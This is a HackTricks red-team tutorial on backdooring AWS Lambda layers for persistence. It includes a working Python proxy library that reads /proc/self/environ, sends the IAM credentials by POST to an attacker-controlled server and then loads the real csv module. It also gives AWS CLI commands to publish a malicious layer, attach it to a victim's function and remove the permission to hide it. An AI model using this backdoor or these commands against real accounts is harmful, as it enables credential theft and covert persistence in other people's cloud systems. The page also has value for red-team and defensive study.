AWS - Lambda Layers Persistence

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Lambda Layers

A Lambda layer is a .zip file archive that can contain additional code or other content. A layer can contain libraries, a custom runtime, data, or configuration files.

It's possible to include up to five layers per function. When you include a layer in a function, the contents are extracted to the /opt directory in the execution environment.

By default, the layers that you create are private to your AWS account. You can choose to share a layer with other accounts or to make the layer public. If your functions consume a layer that a different account published, your functions can continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked. However, you cannot create a new function or update functions using a deleted layer version.

Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.

Python load path

The load path that Python will use in lambda is the following:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Check how the second and third positions are occupy by directories where lambda layers uncompress their files: /opt/python/lib/python3.9/site-packages and /opt/python

If an attacker managed to backdoor a used lambda layer or add one that will be executing arbitrary code when a common library is loaded, he will be able to execute malicious code with each lambda invocation.

Therefore, the requisites are:

  • Check libraries that are loaded by the victims code

  • Create a proxy library with lambda layers that will execute custom code and load the original library.

Preloaded libraries

When abusing this technique I found a difficulty: Some libraries are already loaded in python runtime when your code gets executed. I was expecting to find things like os or sys, but even json library was loaded. In order to abuse this persistence technique, the code needs to load a new library that isn't loaded when the code gets executed.

With a python code like this one it's possible to obtain the list of libraries that are pre loaded inside python runtime in lambda:

import sys

def lambda_handler(event, context):
    return {
        'statusCode': 200,
        'body': str(sys.modules.keys())
    }

And this is the list (check that libraries like os or json are already there)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

And this is the list of libraries that lambda includes installed by default: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

In this example lets suppose that the targeted code is importing csv. We are going to be backdooring the import of the csv library.

For doing that, we are going to create the directory csv with the file __init__.py on it in a path that is loaded by lambda: /opt/python/lib/python3.9/site-packages Then, when the lambda is executed and try to load csv, our __init__.py file will be loaded and executed. This file must:

  • Execute our payload

  • Load the original csv library

We can do both with:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
    url= "https://attacker13123344.com/" #Change this to your server
    req = request.Request(url, data=file.read(), method="POST")
    response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Then, create a zip with this code in the path python/lib/python3.9/site-packages/__init__.py and add it as a lambda layer.

You can find this code in https://github.com/carlospolop/LambdaLayerBackdoor

The integrated payload will send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container (change of code or cold lambda), but other techniques such as the following could also be integrated:

pageAWS - Steal Lambda Requests

External Layers

Note that it's possible to use lambda layers from external accounts. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions. Also note that the max number of layers a lambda can have is 5.

Therefore, in order to improve the versatility of this technique an attacker could:

  • Backdoor an existing layer of the user (nothing is external)

  • Create a layer in his account, give the victim account access to use the layer, configure the layer in victims Lambda and remove the permission.

    • The Lambda will still be able to use the layer and the victim won't have any easy way to download the layers code (apart from getting a rev shell inside the lambda)

    • The victim won't see external layers used with aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated